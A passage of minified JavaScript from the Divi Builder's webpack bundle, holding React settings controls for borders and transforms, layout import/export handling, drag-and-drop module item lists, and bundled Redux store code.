TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.suffix=p()(e,"attr_suffix",""),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,pe),fe(t,[{key:"_processProperty",value:function(e,t){return"width"===e?this._processWidth(t):t}},{key:"_processWidth",value:function(e){var t=parseInt(e);return t>50&&(t=50),I.default.processRangeValue(t)}},{key:"_renderTabPreviewArea",value:function(e){var t=this,n=["width","style","color"],o={};return g()(["top","right","bottom","left"],function(e){var r="";g()(n,function(n){var o="border_"+n+"_"+e+t.suffix,i="border_"+n+"_all"+t.suffix,a=t.getDefault(i),s=I.default.get(t.getDefault(o),a),l=t._processProperty(n,t.getValue(i)),u=t._processProperty(n,I.default.get(t.getValue(o),I.default.get(l,s)));if(W.a.isMobile(t.props,!1)){var c=I.default.get(t.getValue(o),t.getDefault(o)),d=I.default.get(t.getValue(i),I.default.get(t.getDefault(i),t.getFieldDefault(i)));u=t._processProperty(n,I.default.get(c,d))}r+=u+" "}),h()(o,"border"+b()(e),r)}),r.a.createElement("div",{className:"et-fb-settings-border-styles-wrap"},r.a.createElement("div",{className:"et-fb-settings-border-styles-wrap-column"},r.a.createElement("div",{className:"et-fb-settings-border-styles-preview",style:o})))}}]),t}();me.propTypes=he;var ge=me,ve=(n(1323),n(1324)),be=(n(176),n(12)),ye=n(62),_e=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var ke=function(e){var t="";switch(e){case"hover":case"sticky":t="__"+e;break;case"phone":case"tablet":t="_"+e}return t},we=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.state={transformTab:"scale",scaleLinked:n.getLinked("scale"),translateLinked:n.getLinked("translate"),skewLinked:n.getLinked("skew"),transformTabContextMenu:n.getContextMenu()},n.isResetActive=n.isResetActive.bind(n),n.onClickReset=n.onClickReset.bind(n),n.isResponsiveEnabled=n.isResponsiveEnabled.bind(n),n.onClickResponsive=n.onClickResponsive.bind(n),n.onClickHover=n.onClickHover.bind(n),n.onClickSticky=n.onClickSticky.bind(n),n.onClickTransformTab=n.onClickTransformTab.bind(n),n.onClickResponsiveTab=n.onClickResponsiveTab.bind(n),n.setLinked=n.setLinked.bind(n),n.onEnterGroup=n.onEnterGroup.bind(n),n.onLeaveGroup=n.onLeaveGroup.bind(n),n.onMouseOverTransformTab=n.onMouseOverTransformTab.bind(n),n.onMouseLeaveTransformTab=n.onMouseLeaveTransformTab.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,pe),_e(t,[{key:"shouldComponentUpdate",value:function(e,t){return I.default.shouldComponentUpdate(this,e,t)}},{key:"setLinked",value:function(e,t){if(w()(["scale","translate","skew"],e)){var n={},o=a()(t)?!p()(this.state,e+"Linked"):I.default.isOn(t),r=o?"on":"off",i=this.getSettingDefault("transform_"+e+"_linked")===r;n[e+"Linked"]=o,this.setState(n),this.props._onChange("transform_"+e+"_linked"+this.getViewTabSuffix(),r,"skip",null,i)}}},{key:"getLinked",value:function(e){var t=p()(this.getAttrs(),"transform_"+e+"_linked"+this.getViewTabSuffix(),"");return I.default.hasValue(t)||(t=this.getSettingDefault("transform_"+e+"_linked")),I.default.isOn(t)}},{key:"getSettingDefault",value:function(e,t){var n=t||this.getActiveTabMode(),o=this.getSetting(e),r=void 0;switch(n){case"tablet":r="_tablet";break;case"phone":r="_phone";break;case"hover":r="__hover";break;case"sticky":r="__sticky";break;default:r=""}var i=p()(o,"default"+r);if(!a()(i))return i;var s=p()(o,"default"),l=s,u=!1,c=!1,d=n;return this.getActiveTabMode()===n?(u=this.props.activeHover&&Object(R.c)(),c=this.props.activeSticky&&B.a.isStickyMode(),w()(["tablet","phone"],n)&&!this.isResponsiveEnabled()&&(d="desktop")):"hover"===n?u=!0:"sticky"===n&&(c=!0),u||c?l=p()(this.getAttrs(),e,l):"tablet"===d?l=p()(this.getAttrs(),e,l):"phone"===d&&!1===(l=p()(this.getAttrs(),e+"_tablet",!1))&&(l=p()(this.getAttrs(),e,l)),I.default.hasValue(l)||(l=s),l}},{key:"getViewTabSuffix",value:function(){return ke(this.getActiveTabMode())}},{key:"getActiveTabMode",value:function(){return this.props.activeHover&&Object(R.c)()?"hover":this.props.activeSticky&&B.a.isStickyMode()?"sticky":w()(["tablet","phone"],this.props.activeTabMode)&&this.props.isResponsiveEnabled?this.props.activeTabMode:"desktop"}},{key:"getContextMenu",value:function(){var e=this.getSetting("transform_"+this.state.transformTab);return p()(e,"context_menu",!0)}},{key:"isActiveViewTab",value:function(e){return this.getActiveTabMode()===e?"desktop"===e&&(Object(R.c)()||B.a.isStickyMode())?"":"active":this.isResponsiveTabModified(e)?"modified":""}},{key:"isResponsiveTabModified",value:function(e){var t=ke(e),n=p()(this.getAttrs(),"transform_"+this.state.transformTab+t,"");return!!I.default.hasValue(n)&&this.getSettingDefault("transform_"+this.state.transformTab,e)!==n}},{key:"responsiveTabs",value:function(){var e=ETBuilderBackend.i18n.controls,t=["et-fb-settings-option-responsive-tab-nav","et-fb-settings-transform-responsive-tab-nav"];return this.props.activeHover&&t.push("et-fb-settings-option-responsive-tab-nav-hover-active"),r.a.createElement(se.a,null,r.a.createElement("ul",{className:t.join(" ")},r.a.createElement("li",{className:this.isActiveViewTab("desktop"),"data-tab":"desktop",onClick:this.onClickResponsiveTab},e.responsiveTabs.desktop),this.props.activeHover?r.a.createElement("li",{"data-tab":"hover",className:this.isActiveViewTab("hover"),onClick:this.onClickResponsiveTab},e.tabs.hover):null,r.a.createElement("li",{"data-tab":"tablet",className:this.isActiveViewTab("tablet"),onClick:this.onClickResponsiveTab},e.responsiveTabs.tablet),r.a.createElement("li",{"data-tab":"phone",className:this.isActiveViewTab("phone"),onClick:this.onClickResponsiveTab},e.responsiveTabs.phone)))}},{key:"onMouseOverTransformTab",value:function(e){var t=e.target.dataset,n=t.tab,o=t.transform_type,r=t.tip;if(n!==this.state.transformTab){var i={fieldName:"transform_"+n,fieldLabel:r,fieldType:o,toggleId:this.props.toggle_slug,toggleGroupId:this.props.tab_slug,fieldContextMenu:this.state.transformTabContextMenu};this.props.onMouseEnterGroup(i)}}},{key:"onMouseLeaveTransformTab",value:function(e){var t=this.getSetting("transform_"+this.state.transformTab);if(e.target.dataset.tab!==this.state.transformTab){var n={fieldName:"transform_"+this.state.transformTab,fieldLabel:p()(t,"label"),fieldType:p()(t,"type"),toggleId:this.props.toggle_slug,toggleGroupId:this.props.tab_slug,fieldContextMenu:this.state.transformTabContextMenu};this.props.onMouseEnterGroup(n)}}},{key:"transformTabs",value:function(){var e=this;return r.a.createElement("ul",{className:"et-fb-settings-tab-titles"},E()(this.getTabs(),function(t,n){var o=p()(t.controls,"transform_"+n);return r.a.createElement("li",{key:n+"-tab"},r.a.createElement("button",{className:_()({"et-fb-settings-tab-title":!0,"et-fb-settings-tab-title-active":e.state.transformTab===n,"et-fb-settings-tab-title-modified":e.isResetActive(n)}),"data-tab":n,"data-transform_type":p()(o,"type"),onClick:e.onClickTransformTab,onMouseOver:e.onMouseOverTransformTab,onMouseLeave:e.onMouseLeaveTransformTab,"data-tip":p()(o,"label"),"data-index":t,"data-for":"transform-tab-tooltip-"+t},r.a.createElement(J.a,{icon:t.icon,color:e.state.transformTab===n||e.isResetActive(n)?ye.a.info:ye.a.inactiveGrey}),r.a.createElement($.a,{id:"transform-tab-tooltip-"+t})))}))}},{key:"renderTransformField",value:function(){var e="transform_"+this.state.transformTab,t=this.getSettingDefault(e),n=""+e+this.getViewTabSuffix(),o=p()(this.getAttrs(),n,t),i=this.getSetting(e);return r.a.createElement(ve.a,{key:this.props.uniqueKey+"-"+n,name:n,transform_type:this.state.transformTab,default:t,default_unit:p()(i,"default_unit"),range_settings:p()(i,"range_settings"),value:o,uniqueKey:this.props.uniqueKey,_onChange:this.props._onChange,onClickLink:this.setLinked,scaleLinked:this.getLinked("scale"),skewLinked:this.getLinked("skew"),translateLinked:this.getLinked("translate"),readonly:I.default.hasValue(this.props.readonly),module:this.props.module.props.module})}},{key:"onClickTransformTab",value:function(e){e.preventDefault();var t=e.target.dataset.tab;this.setState({transformTab:t,transformTabContextMenu:this.getContextMenu()})}},{key:"onClickResponsiveTab",value:function(e){var t=e.target.dataset.tab,n=F.a.getActiveModule(),o="hover"===t,r="sticky"===t,i=o||r?"desktop":t,a=function(e){return(e?"on":"off")+"|"+(e?t:"desktop")};be.b.toggleModuleHover(o),be.b.moduleSettingsChange(n,"hover_enabled",o?1:0),be.b.moduleSettingsChange(n,"sticky_enabled",r?1:0),"wireframe"!==F.a.getPreviewMode()&&be.b.switchResponsivePreviewMode(i,!1,!0),o||(this.props._onChange(this.props.name+"_last_edited",a(this.isResponsiveEnabled())),this.props._onChange("transform_"+this.state.transformTab+"_last_edited",a(this.isResponsiveEnabled())))}},{key:"isResponsiveEnabled",value:function(){return W.a.isResponsiveEnabled(this.getAttrs(),this.props.name)}},{key:"isHoverEnabled",value:function(){return R.a.isEnabled(this.props.name,this.getAttrs())}},{key:"isStickyEnabled",value:function(){return B.a.isEnabled(this.props.name,this.getAttrs())}},{key:"onClickResponsive",value:function(){this.props.onClickResponsive(this.props.name,M()(this.getTabs()).map(function(e){return"transform_"+e}))}},{key:"isResetActive",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.state.transformTab,t="transform_"+e,n=""+t+this.getViewTabSuffix(),o=this.getSettingDefault(t),r=p()(this.getAttrs(),n,o),i="",a="";return w()(["scale","translate","skew"],e)&&(i=this.getSettingDefault(t+"_linked"),a=p()(this.getAttrs(),t+"_linked"+this.getViewTabSuffix(),i)),I.default.hasValue(a)&&a!==i||r!==o&&I.default.hasValue(r)}},{key:"onClickReset",value:function(){var e="transform_"+this.state.transformTab;this.props._onChange(""+e+this.getViewTabSuffix(),"","range",null,!0),w()(["scale","translate","skew"],this.state.transformTab)&&this.setLinked(this.state.transformTab,this.getSettingDefault(e+"_linked"))}},{key:"onClickHover",value:function(){this.props.onClickHover(this.props.name,M()(this.getTabs()).map(function(e){return"transform_"+e}))}},{key:"onClickSticky",value:function(){this.props.onClickSticky(this.props.name,M()(this.getTabs()).map(function(e){return"transform_"+e}))}},{key:"buttonsVisible",value:function(){var e=this,t=!1;return M()(this.getTabs()).forEach(function(n){t||(t=e.props.isHoveredGroup("transform_"+n))}),t}},{key:"onEnterGroup",value:function(e){var t=this.getSetting(e),n={fieldName:e,fieldLabel:p()(t,"label"),fieldType:p()(t,"type"),toggleId:this.props.toggle_slug,toggleGroupId:this.props.tab_slug,fieldContextMenu:this.state.transformTabContextMenu};this.props.onMouseEnterGroup(n)}},{key:"onLeaveGroup",value:function(){var e={fieldName:this.props.name,fieldLabel:this.props.label,fieldType:this.props.type,toggleId:this.props.toggle_slug,toggleGroupId:this.props.tab_slug,fieldContextMenu:this.state.transformTabContextMenu};this.props.onMouseEnterGroup(e)}},{key:"render",value:function(){if(!this.props._isOptionMatchesFilter(this.props.label,this.props.description+" scale rotate translate skew origin",this.props.label))return!1;var e=this.props,t=e.name,n=e.label,o=e.description,i=e.hasHoverOptions,s=e.hasStickyOptions,l=e.mobile_options,u=!a()(o)&&""!==o,c=r.a.createElement(V.a,{name:t,key:"general-form-label-"+this.props.uniqueKey,onClickHelp:this.props.onClickHelp,activeHelp:this.props.isDescriptionVisible(t),hasHoverOptions:I.default.hasValue(i),activeHover:this.props.activeHover,onClickHover:this.onClickHover,hasStickyOptions:I.default.hasValue(s),activeSticky:this.props.activeSticky,onClickSticky:this.onClickSticky,hasResponsiveOptions:I.default.hasValue(l),isResponsiveEnabled:this.isResponsiveEnabled(),onClickResponsive:this.onClickResponsive,onClickReset:this.onClickReset,isResetActive:this.isResetActive(),hoveredGroup:this.buttonsVisible(),onToggleRightMenu:!!this.state.transformTabContextMenu&&this.props.onToggleRightMenu},n),d=u?r.a.createElement(H.a,{active:this.props.isDescriptionVisible(t),key:"general-form-description-"+this.props.uniqueKey},o):"",p="transform_"+this.state.transformTab,f=this.isResponsiveEnabled()||this.isHoverEnabled()||this.isStickyEnabled()?r.a.createElement(se.a,null,r.a.createElement(G.a,{module:this.getModule(),moduleAttrs:this.getAttrs(),fieldName:t,subFields:[p],activeTabMode:this.props.activeTabMode,isGlobalPresetsMode:this.props.isGlobalPresetsMode,isResponsiveEnabled:this.isResponsiveEnabled(),isHoverEnabled:this.isHoverEnabled(),isStickyEnabled:this.isStickyEnabled(),isItemSelected:this.props.isItemSelected})):"";return r.a.createElement(U.a,{name:p,key:"advanced-form-group-"+this.props.uniqueKey,onMouseEnterGroup:this.onEnterGroup,onMouseLeaveGroup:this.onLeaveGroup,className:this.props.productTourClass,isSelectiveSyncAvailable:this.props.isSelectiveSyncAvailable(),isGlobalOptionSynced:this.props.isGlobalOptionSynced(p),_unsyncGlobalSetting:this.props._unsyncGlobalSetting},c,d,f,this.transformTabs(),this.renderTransformField())}}]),t}(),Ce=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},Ee=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var Oe=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e)}return Ee(e,null,[{key:"createControl",value:function(t,n){return!a()(t.composite_type)&&Object(o.createElement)(e._controlTypesMap[t.composite_type],l()(Ce({label:t.label,key:n.uniqueKey},n),t))}}]),e}();Oe._controlTypesMap={default:pe,tabbed:ge,transforms:we};t.a=Oe},function(e,t,n){"use strict";var o=n(924),r=n(1),i=n.n(r),a=n(15),s=n.n(a),l=n(2),u=n.n(l),c=n(38),d=n.n(c),p=n(32),f=n.n(p),h=n(12),m=n(3),g=n(1327),v=(n(0),n(1495),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),b=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function y(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var _=ETBuilderBackend.i18n.tooltips;var k=function(e){var t,n,o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"upload";return n=t=function(t){function n(){var e,t,r;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);for(var a=arguments.length,s=Array(a),l=0;l<a;l++)s[l]=arguments[l];return t=r=y(this,(e=n.__proto__||Object.getPrototypeOf(n)).call.apply(e,[this].concat(s))),r.state={exportFileName:ETBuilderBackend.postTitle||"Divi Builder Layout",importOptions:v({replaceLayout:"on",importBackUp:"off",addToLibrary:"off"},m.a.isSaveGlobalPresetsAllowed()&&{includeGlobalPresets:"off"}),exportOptions:{applyGlobalPresets:"off"},importFile:void 0,importLayoutName:"",importError:"",importProgress:0,importEstimation:1,importCategories:"",importNewCategory:""},r._onChange=function(e,t){if(f()(e))r.setState(e);else{var n={};n[e]=t,r.setState(n)}},r.exportLayout=function(){r._onChange("exportError",""),h.b.exportLayout(r.state),h.b.togglePortabilityProgressBar("export",!0)},r.importFileName=function(){return u()(r.state,"importFile.name",_.noFile)},r.importLayout=function(){r._onChange("importError",""),h.b.importLayout(r.state),h.b.togglePortabilityProgressBar("import",!0)},r.onExportError=function(e){return r._onChange({exportError:e})},r.onImportError=function(e){return r._onChange({importError:e})},r.onExportProgress=function(e,t){r._onChange({exportProgress:e,exportEstimation:t})},r.onImportProgress=function(e,t){"download"===o&&(e=e/2+50),r._onChange({importProgress:e,importEstimation:t})},r._renderProgressBar=function(){return i.a.createElement(g.a,{progress:r.state.importProgress,time_remaining:r.state.importEstimation})},y(r,t)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,i.a.Component),b(n,[{key:"componentDidMount",value:function(){m.a.addImportProgressListener(this.onImportProgress),m.a.addImportErrorListener(this.onImportError),m.a.addExportProgressListener(this.onExportProgress),m.a.addExportErrorListener(this.onExportError);var e=m.a.getDroploaderPayloadPortability();e&&this.setState({active_tab:"modules_library",importOptions:s()(this.state.importOptions,e.details.importOptions),importFile:e.details.importFile})}},{key:"componentWillUnmount",value:function(){m.a.removeImportProgressListener(this.onImportProgress),m.a.removeImportErrorListener(this.onImportError),m.a.removeExportProgressListener(this.onExportProgress),m.a.removeExportErrorListener(this.onExportError)}},{key:"shouldComponentUpdate",value:function(e,t){return!d()(this.props,e)||!d()(this.state,t)}},{key:"render",value:function(){var t=this.state.importProgress>0;return i.a.createElement("div",{className:"et-fb-with-portability"},i.a.createElement(e,v({isLoadingLayout:t,_renderProgressBar:this._renderProgressBar,_onChange:this._onChange,exportLayout:this.exportLayout,importFileName:this.importFileName,importLayout:this.importLayout},this.state,this.props)))}}]),n}(),t.displayName="withPortability("+e.displayName+")",n};n.d(t,"a",function(){return o.a}),n.d(t,"b",function(){return k})},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(7),l=n.n(s),u=n(34),c=n.n(u),d=n(96),p=n.n(d),f=n(110),h=n.n(f),m=n(2),g=n.n(m),v=n(44),b=n.n(v),y=n(31),_=n.n(y),k=n(11),w=n.n(k),C=n(1290),E=n(1359),O=n(1509),S=n(12),T=n(19),M=n(3),x=n(36),P=n(144),j=n(1377),L=n(162),N=n(0),D=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},A=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var F=void 0,I=!1,R=function(e){if(M.a.getModuleItemDragEndWaiting()){var t=void 0;"function"!=typeof Event?(t=document.createEvent("Event")).initEvent("dragend",!0,!0):t=new Event("dragend"),N.default.appWindow().dispatchEvent(t)}},B=function(e){I=!0},W=function(e){clearTimeout(F),F=setTimeout(function(){if(!I&&b()(Event)){var e=void 0;"function"!=typeof Event?(e=document.createEvent("Event")).initEvent("dragend",!0,!0):e=new Event("dragend"),N.default.appWindow().dispatchEvent(e)}I=!1},150)},V={module:a.a.object,_v:x.a._v,setHoveredElement:a.a.oneOfType([a.a.func,a.a.bool]),disableDuplicate:a.a.bool,disableDelete:a.a.bool,onToggleRightMenu:a.a.oneOfType([a.a.func,a.a.bool]),isGlobalPresetsMode:a.a.bool},H=N.default.condition("is_layout_block"),G=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));return t.moveItem=function(e,n){var o=t.props.module.props.content,r=o.filter(function(t){return t._i===e})[0],i=o.filter(function(e){return e._i===n})[0],a=r._order;r._order=i._order,i._order=a,o.sort(t.compareItems),o=c()(h()(o),function(e,t){var n=e.address.split(".");return(n=p()(n)).push(t),e.address=n.join("."),e}),S.b.moduleContentChange(t.props.module,o,!1,!0)},t._onMouseEnterItem=function(e){var n=t.props.setHoveredElement;n&&n("child_item",e.type,P.a.getHelper("child_item").preparePayload(e))},t._onMouseLeaveItem=function(e){var n=t.props.setHoveredElement;n&&n(!1,e.type)},t._getItemTitleAttribute=function(e){if("content"===e.child_title_var&&g()(e,"content"))return{value:g()(e,"content"),attribute:"content"};for(var t=[[g()(e.attrs,e.child_title_var),e.child_title_var],[g()(e.attrs,e.child_title_fallback_var),e.child_title_fallback_var],[g()(e,"advanced_setting_title_text",ETBuilderBackend.i18n.modules.items.newItemDefaultText),"advanced_setting_title_text"],[g()(e.attrs,"title"),"title"]],n=0;n<t.length;n++)if(t[n][0])return{value:t[n][0].trim(),attribute:t[n][1]};return{value:"",attribute:"title"}},t.gutenbergDragStartEventListeners=H?g()(N.default.topWindow(),"ETSavedGutenbergEventListeners.document.dragstart",[]):[],t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,o["Component"]),A(n,[{key:"componentDidMount",value:function(){H&&0<this.gutenbergDragStartEventListeners.length&&w()(this.gutenbergDragStartEventListeners,function(e){N.default.topDocument().removeEventListener("dragstart",e)}),N.default.appWindow().addEventListener("dragstart",R),N.default.appWindow().addEventListener("dragend",B),N.default.appWindow().addEventListener("drop",W)}},{key:"componentWillUnmount",value:function(){N.default.appWindow().removeEventListener("dragstart",R),N.default.appWindow().removeEventListener("dragend",B),N.default.appWindow().removeEventListener("drop",W),H&&0<this.gutenbergDragStartEventListeners.length&&w()(this.gutenbergDragStartEventListeners,function(e){N.default.topDocument().addEventListener("dragstart",e)})}},{key:"compareItems",value:function(e,t){return e._order-t._order}},{key:"_renderModuleItems",value:function(){var t=this,n=r.a.createElement("ul",{className:"et-fb-settings-module-items"},c()(this.props.module.props.content,function(n,o){if(!l()(n)){var i=D({},n);i.attrs=T.d.getPrefilledAttributes(i);var a=t._getItemTitleAttribute(i),s=r.a.createElement(L.a,null,r.a.createElement(j.a,{attributes:i.attrs,attribute:a.attribute,value:a.value},function(t,n){return n?e(e.parseHTML(t)).text():t})),u=r.a.createElement(E.a,D({key:o,index:o,id:o,title:s,disableDuplicate:t.props.disableDuplicate,disableDelete:t.props.disableDelete,_onMouseEnterItem:t._onMouseEnterItem,_onMouseLeaveItem:t._onMouseLeaveItem,onToggleRightMenu:t.props.onToggleRightMenu},i));return r.a.createElement(O.a,{key:i._i,moveItem:t.moveItem.bind(t),id:i._i},u)}}));return r.a.createElement(C.a,null,n)}},{key:"_renderItemDefaults",value:function(){var e=this.props.module.props.child_slug,t=D({},this.props.module.props.content[0]),n=ETBuilderBackend.i18n,o=""+(_()(n.modules,e+".name")?g()(n.modules,e+".name")+" ":"")+n.rightClickMenuItems.item+" "+n.modals.globalPresets.defaults;return t.attrs=T.d.getPrefilledAttributes(t),r.a.createElement("ul",{className:"et-fb-settings-module-items"},r.a.createElement(E.a,D({key:0,index:0,id:0,title:o,_onMouseEnterItem:this._onMouseEnterItem,_onMouseLeaveItem:this._onMouseLeaveItem,onToggleRightMenu:this.props.onToggleRightMenu},t,{isGlobalPresetsMode:!0})))}},{key:"render",value:function(){return this.props.isGlobalPresetsMode?this._renderItemDefaults():this._renderModuleItems()}}]),n}();G.propTypes=V,G.defaultProps={module:{},_v:0,setHoveredElement:!1,disableDuplicate:!1,disableDelete:!1,onToggleRightMenu:!1,isGlobalPresetsMode:!1},t.a=G}).call(this,n(24))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}(),r=l(n(1336)),i=l(n(1339)),a=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}(n(1283)),s=l(n(1343));function l(e){return e&&e.__esModule?e:{default:e}}var u=function(){function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e);var o=(0,r.default)(i.default);this.context=n,this.store=o,this.monitor=new s.default(o),this.registry=this.monitor.registry,this.backend=t(this),o.subscribe(this.handleRefCountChange.bind(this))}return o(e,[{key:"handleRefCountChange",value:function(){var e=this.store.getState().refCount>0;e&&!this.isSetUp?(this.backend.setup(),this.isSetUp=!0):!e&&this.isSetUp&&(this.backend.teardown(),this.isSetUp=!1)}},{key:"getContext",value:function(){return this.context}},{key:"getMonitor",value:function(){return this.monitor}},{key:"getBackend",value:function(){return this.backend}},{key:"getRegistry",value:function(){return this.registry}},{key:"getActions",value:function(){var e=this,t=this.store.dispatch;return Object.keys(a).filter(function(e){return"function"==typeof a[e]}).reduce(function(n,o){var r,i=a[o];return n[o]=(r=i,function(){for(var n=arguments.length,o=Array(n),i=0;i<n;i++)o[i]=arguments[i];var a=r.apply(e,o);void 0!==a&&t(a)}),n},{})}}]),e}();t.default=u},function(e,t,n){"use strict";t.__esModule=!0,t.ActionTypes=void 0,t.default=function e(t,n,i){var s;"function"==typeof n&&void 0===i&&(i=n,n=void 0);if(void 0!==i){if("function"!=typeof i)throw new Error("Expected the enhancer to be a function.");return i(e)(t,n)}if("function"!=typeof t)throw new Error("Expected the reducer to be a function.");var l=t;var u=n;var c=[];var d=c;var p=!1;function f(){d===c&&(d=c.slice())}function h(){return u}function m(e){if("function"!=typeof e)throw new Error("Expected listener to be a function.");var t=!0;return f(),d.push(e),function(){if(t){t=!1,f();var n=d.indexOf(e);d.splice(n,1)}}}function g(e){if(!(0,o.default)(e))throw new Error("Actions must be plain objects. Use custom middleware for async actions.");if(void 0===e.type)throw new Error('Actions may not have an undefined "type" property. Have you misspelled a constant?');if(p)throw new Error("Reducers may not dispatch actions.");try{p=!0,u=l(u,e)}finally{p=!1}for(var t=c=d,n=0;n<t.length;n++){var r=t[n];r()}return e}g({type:a.INIT});return s={dispatch:g,subscribe:m,getState:h,replaceReducer:function(e){if("function"!=typeof e)throw new Error("Expected the nextReducer to be a function.");l=e,g({type:a.INIT})}},s[r.default]=function(){var e,t=m;return(e={subscribe:function(e){if("object"!=typeof e)throw new TypeError("Expected the observer to be an object.");function n(){e.next&&e.next(h())}n();var o=t(n);return{unsubscribe:o}}})[r.default]=function(){return this},e},s};var o=i(n(149)),r=i(n(1337));function i(e){return e&&e.__esModule?e:{default:e}}var a=t.ActionTypes={INIT:"@@redux/INIT"}},function(e,t,n){"use strict";n.r(t),function(e,o){var r,i=n(1338);r="undefined"!=typeof self?self:"undefined"!=typeof window?window:void 0!==e?e:o;var a=Object(i.a)(r);t.default=a}.call(this,n(201),n(1300)(e))},function(e,t,n){"use strict";function o(e){var t,n=e.Symbol;return"function"==typeof n?n.observable?t=n.observable:(t=n("observable"),n.observable=t):t="@@observable",t}n.d(t,"a",function(){return o})},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments[1];return{dirtyHandlerIds:(0,a.default)(e.dirtyHandlerIds,t,e.dragOperation),dragOffset:(0,o.default)(e.dragOffset,t),refCount:(0,i.default)(e.refCount,t),dragOperation:(0,r.default)(e.dragOperation,t),stateId:(0,s.default)(e.stateId)}};var o=l(n(1303)),r=l(n(1340)),i=l(n(1341)),a=l(n(1305)),s=l(n(1342));function l(e){return e&&e.__esModule?e:{default:e}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};t.default=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:u,t=arguments[1];switch(t.type){case s.BEGIN_DRAG:return o({},e,{itemType:t.itemType,item:t.item,sourceId:t.sourceId,isSourcePublic:t.isSourcePublic,dropResult:null,didDrop:!1});case s.PUBLISH_DRAG_SOURCE:return o({},e,{isSourcePublic:!0});case s.HOVER:return o({},e,{targetIds:t.targetIds});case l.REMOVE_TARGET:return-1===e.targetIds.indexOf(t.targetId)?e:o({},e,{targetIds:(0,a.default)(e.targetIds,t.targetId)});case s.DROP:return o({},e,{dropResult:t.dropResult,didDrop:!0,targetIds:[]});case 